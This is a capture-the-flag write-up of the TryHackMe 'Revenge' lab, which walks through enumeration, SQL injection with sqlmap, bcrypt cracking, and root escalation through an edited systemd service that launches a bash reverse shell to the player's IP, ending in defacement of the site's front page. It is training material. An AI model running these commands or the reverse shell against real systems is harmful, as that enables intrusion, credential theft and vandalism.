TryHackMe - Revenge

You've been hired by Billy Joel to get revenge on Ducky Inc...the company that fired him. Can you break into the server and complete your mission?

Billy Joel has sent you a message regarding your mission. Download it, read it and continue on

To whom it may concern,

I know it was you who hacked my blog.  I was really impressed with your skills.  You were a little sloppy
and left a bit of a footprint so I was able to track you down.  But, thank you for taking me up on my offer.
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.
For that reason, I'll let you do your own enumeration and checking.

What I want you to do is simple.  Break into the server that's running the website and deface the front page.
I don't care how you do it, just do it.  But remember...DO NOT BRING DOWN THE SITE!  We don't want to cause irreparable damage.

When you finish the job, you'll get the rest of your payment.  We agreed upon $5,000.
Half up-front and half when you finish.

Good luck,

Billy

This is revenge! You’ve been hired by Billy Joel to break into and deface the Rubber Ducky Inc. webpage. He was fired for probably good reasons but who cares, you’re just here for the money. Can you fulfill your end of the bargain?

There is a sister room to this one. If you have not completed Blog yet, I recommend you do so. It’s not required but may enhance the story for you.

All images on the webapp, including the navbar brand logo, 404 and 500 pages, and product images goes to Varg. Thanks for helping me out with this one, bud.

Please hack responsibly. Do not attack a website or domain that you do not own the rights to. TryHackMe does not condone illegal hacking. This room is just for fun and to tell a story.

https://tryhackme-images.s3.amazonaws.com/room-icons/46f132f9d913c89cbe4a3c749c420406.png

Title Revenge
Difficulty Medium
Author NameLess0ne
Tags security, sqlmap, real-world, enumeration

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn revenge.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 07:16 EDT
Warning: 10.10.148.138 giving up on port because retransmission cap hit (10).
Nmap scan report for revenge.thm (10.10.148.138)
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 20.75 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 revenge.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 07:18 EDT
Nmap scan report for revenge.thm (10.10.148.138)
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA)
|   256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA)
|_  256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
|_http-server-header: nginx/1.14.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   250.47 ms 10.9.0.1
2   263.19 ms revenge.thm (10.10.148.138)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds

HTTP (port 80) - Fuzzing Dirs

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://revenge.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://revenge.thm/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 8541]
/products             (Status: 200) [Size: 7254]
/contact              (Status: 200) [Size: 6906]
/login                (Status: 200) [Size: 4980]
/static               (Status: 301) [Size: 194] [--> http://revenge.thm/static/]
/admin                (Status: 200) [Size: 4983]

SQL Injection

Using sqlmap to enumerate the paths of the target server, I explore this path is injectable with SQL Injection:

http://revenge.thm/products/1

So I start to dump all the databases:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://revenge.thm/products/1 --dbs --batch
[...]
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://revenge.thm/products/1 AND 9497=9497

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://revenge.thm/products/1 AND (SELECT 5874 FROM (SELECT(SLEEP(5)))GJDV)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: http://revenge.thm/products/-5717 UNION ALL SELECT 69,69,69,69,CONCAT(0x716a786271,0x75746344647543736f66754677455679466c4f5a53506b794675764f5058477946576869516a4d47,0x716a716b71),69,69,69-- -
---
[...]
[08:05:10] [INFO] fetching database names
available databases [5]:
[*] duckyinc
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Next, I focus on the duckyinc which is not the default database of MySQL and must contain sensitive data:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://revenge.thm/products/1 --dump -D duckyinc --batch
[...]
Database: duckyinc
Table: system_user
[3 entries]
+----+----------------------+--------------+--------------------------------------------------------------+
| id | email                | username     | _password                                                    |
+----+----------------------+--------------+--------------------------------------------------------------+
| 1  | sadmin@duckyinc.org  | server-admin | $2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a |
| 2  | kmotley@duckyinc.org | kmotley      | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa |
| 3  | dhughes@duckyinc.org | dhughes      | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK |
+----+----------------------+--------------+--------------------------------------------------------------+
[...]
Database: duckyinc
Table: user
[10 entries]
+----+---------------------------------+------------------+----------+--------------------------------------------------------------+----------------------------+
| id | email                           | company          | username | _password                                                    | credit_card                |
+----+---------------------------------+------------------+----------+--------------------------------------------------------------+----------------------------+
| 1  | sales@fakeinc.org               | Fake Inc         | jhenry   | $2a$12$dAV7fq4KIUyUEOALi8P2dOuXRj5ptOoeRtYLHS85vd/SBDv.tYXOa | 4338736490565706           |
| 2  | accountspayable@ecorp.org       | Evil Corp        | smonroe  | $2a$12$6KhFSANS9cF6riOw5C66nerchvkU9AHLVk7I8fKmBkh6P/rPGmanm | 355219744086163            |
| 3  | accounts.payable@mcdoonalds.org | McDoonalds Inc   | dross    | $2a$12$9VmMpa8FufYHT1KNvjB1HuQm9LF8EX.KkDwh9VRDb5hMk3eXNRC4C | 349789518019219            |
| 4  | sales@ABC.com                   | ABC Corp         | ngross   | $2a$12$LMWOgC37PCtG7BrcbZpddOGquZPyrRBo5XjQUIVVAlIKFHMysV9EO | 4499108649937274           |
| 5  | sales@threebelow.com            | Three Below      | jlawlor  | $2a$12$hEg5iGFZSsec643AOjV5zellkzprMQxgdh1grCW3SMG9qV9CKzyRu | 4563593127115348           |
| 6  | ap@krasco.org                   | Krasco Org       | mandrews | $2a$12$reNFrUWe4taGXZNdHAhRme6UR2uX..t/XCR6UnzTK6sh1UhREd1rC | thm{[REDACTED]} |
| 7  | payable@wallyworld.com          | Wally World Corp | dgorman  | $2a$12$8IlMgC9UoN0mUmdrS3b3KO0gLexfZ1WvA86San/YRODIbC8UGinNm | 4905698211632780           |
| 8  | payables@orlando.gov            | Orlando City     | mbutts   | $2a$12$dmdKBc/0yxD9h81ziGHW4e5cYhsAiU4nCADuN0tCE8PaEv51oHWbS | 4690248976187759           |
| 9  | sales@dollatwee.com             | Dolla Twee       | hmontana | $2a$12$q6Ba.wuGpch1SnZvEJ1JDethQaMwUyTHkR0pNtyTW6anur.3.0cem | 375019041714434            |
| 10 | sales@ofamdollar                | O!  Fam Dollar   | csmith   | $2a$12$gxC7HlIWxMKTLGexTq8cn.nNnUaYKUpI91QaqQ/E29vtwlwyvXe36 | 364774395134471            |
+----+---------------------------------+------------------+----------+--------------------------------------------------------------+----------------------------+

Beside I luckily observe the first flag from table user, I get more excited on the username and hash password from table system_user

Crack hash

Therefore, I save the hash passwords and their usernames on my local machine.

┌──(kali㉿kali)-[~/TryHackMe/revenge]
└─$ cat hash_pass.txt
server-admin:$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a
kmotley:$2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa
dhughes:$2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK

After identifying them as bcrypt type of hash which is usually begin with the pattern $2a$, I crack them with john:

┌──(kali㉿kali)-[~/Wordlists]
└─$ john -w=~/Wordlists/rockyou.txt ~/TryHackMe/revenge/hash_pass.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 256 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]         (server-admin)
1g 0:00:03:16 0.02% (ETA: 2023-10-28 23:17) 0.005093g/s 21.08p/s 43.45c/s 43.45C/s katty..1angel
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

However, only 1 password of user server-admin could be cracked. Hope that user would be available on the target machine, not only used on the web page!

Gain Access

I establish ssh connection with the creds found above and connect to the system sucessfully:

┌──(kali㉿kali)-[~]
└─$ ssh server-admin@revenge.thm
server-admin@revenge.thm's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0

8 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

################################################################################
#                        Ducky Inc. Web Server 00080012                        #
#            This server is for authorized Ducky Inc. employees only           #
#                  All actiions are being monitored and recorded               #
#                    IP and MAC addresses have been logged                     #
################################################################################
Last login: Thu Oct 19 12:25:12 2023 from 10.9.63.75
server-admin@duckyinc:~$

The flag2 is now discovered:

server-admin@duckyinc:~$ ls -l
total 4
-rw-r----- 1 server-admin server-admin 18 Aug 10  2020 flag2.txt
server-admin@duckyinc:~$ cat flag2.txt
thm{[REDACTED]}

Vertical Privilege Escalation

Since I knew the user’s password, I can use sudo -l command to list all the commands that invoking my current user:

server-admin@duckyinc:~$ sudo -l
Matching Defaults entries for server-admin on duckyinc:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User server-admin may run the following commands on duckyinc:
    (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart
        duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service

It’s quite many commands and might confuse me. But if I look at them carefully, I can easy to realize that there are only 2 services that are available to execute:

  • duckyinc.service
  • daemon-reload

To know what the duckyinc.service does, I locate it at /etc/systemd/system/duckyinc.service and read its content:

[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target

[Service]
User=flask-app
Group=www-data
WorkingDirectory=/var/www/duckyinc
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 app:app
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID

[Install]
WantedBy=multi-user.target

Just like other services within format as *.service, it also has some simple options:

  • User
  • Group
  • ExecStart

Because I have the permission of using sudoedit to modify the service, I use it to change these values to make me become root user within a reverse shell when I restart this service:

[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target

[Service]
#User=flask-app
User=root
#Group=www-data
Group=root
#WorkingDirectory=/var/www/duckyinc
WorkingDirectory=/root
#ExecStart=/usr/local/bin/gunicorn --workers 3 --bind=unix:/var/www/duckyinc/duckyinc.sock --timeout 60 -m 007 ap$
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.9.63.75/4444 0>&1'
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID

[Install]
WantedBy=multi-user.target

I start a listener on local machine and then execute these commands:

server-admin@duckyinc:~$ sudo /bin/systemctl daemon-reload
server-admin@duckyinc:~$ sudo /bin/systemctl restart duckyinc.service
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.254.18] 59294
bash: cannot set terminal process group (13985): Inappropriate ioctl for device
bash: no job control in this shell
root@duckyinc:~# whoami;id;pwd
whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root

❗ The command 'sudo /bin/systemctl daemon-reload' must be execute first in order to restart the duckyinc.service

Now I am root but I do not see the flag3 in the /root directory:

root@duckyinc:~# ls -la
ls -la
total 52
drwx------  7 root root 4096 Aug 28  2020 .
drwxr-xr-x 24 root root 4096 Aug  9  2020 ..
drwxr-xr-x  2 root root 4096 Aug 12  2020 .bash_completion.d
lrwxrwxrwx  1 root root    9 Aug 10  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3227 Aug 12  2020 .bashrc
drwx------  3 root root 4096 Aug  9  2020 .cache
drwx------  3 root root 4096 Aug  9  2020 .gnupg
drwxr-xr-x  5 root root 4096 Aug 12  2020 .local
-rw-------  1 root root  485 Aug 10  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Aug 10  2020 .selected_editor
drwx------  2 root root 4096 Aug  9  2020 .ssh
-rw-------  1 root root 7763 Aug 12  2020 .viminfo

I get confused for awhile after trying various ways to find out the flag3. So I decided to read the Hints and it says Mission objectives. Oh! It means there is a mission that I have missed. I check out the notes from Billy, read it carefully and figure out the actual mission:

What I want you to do is simple.  Break into the server that's running the website and deface the front page.

As Billy said, I need to deface - destroy, overwrite - the web page. Then, I navigate to /var/www/duckyinc/templates and verify that the index.html which is the default page and also referred as front page does exist:

root@duckyinc:~# cd /var/www/duckyinc/templates
cd /var/www/duckyinc/templates
root@duckyinc:/var/www/duckyinc/templates# ls -l
ls -l
total 44
-rw-rw---- 1 flask-app www-data  768 Aug  9  2020 404.html
-rw-rw---- 1 flask-app www-data  759 Aug  9  2020 500.html
-rw-rw---- 1 flask-app www-data 1231 Aug  9  2020 admin.html
-rw-rw---- 1 flask-app www-data 4509 Aug  9  2020 base.html
-rw-rw---- 1 flask-app www-data 3506 Aug  9  2020 contact.html
-rw-rw---- 1 flask-app www-data 5084 Aug 28  2020 index.html
-rw-rw---- 1 flask-app www-data 1225 Aug  9  2020 login.html
-rw-rw---- 1 flask-app www-data 1280 Aug  9  2020 product.html
-rw-rw---- 1 flask-app www-data 3654 Aug  9  2020 products.html

I simply use echo to overwrite the index.html:

root@duckyinc:/var/www/duckyinc/templates# echo "deface..." > index.html
echo "deface..." > index.html

Then back to /root directory and surprisingly that the flag3.txt appears:

root@duckyinc:/var/www/duckyinc/templates# ls -la /root
ls -la /root
total 56
drwx------  7 root root 4096 Oct 19 12:54 .
drwxr-xr-x 24 root root 4096 Aug  9  2020 ..
drwxr-xr-x  2 root root 4096 Aug 12  2020 .bash_completion.d
lrwxrwxrwx  1 root root    9 Aug 10  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3227 Aug 12  2020 .bashrc
drwx------  3 root root 4096 Aug  9  2020 .cache
-rw-r--r--  1 root root   26 Oct 19 12:55 flag3.txt
drwx------  3 root root 4096 Aug  9  2020 .gnupg
drwxr-xr-x  5 root root 4096 Aug 12  2020 .local
-rw-------  1 root root  485 Aug 10  2020 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Aug 10  2020 .selected_editor
drwx------  2 root root 4096 Aug  9  2020 .ssh
-rw-------  1 root root 7763 Aug 12  2020 .viminfo
root@duckyinc:/var/www/duckyinc/templates# cat /root/flag3.txt
cat /root/flag3.txt
thm{[REDACTED]}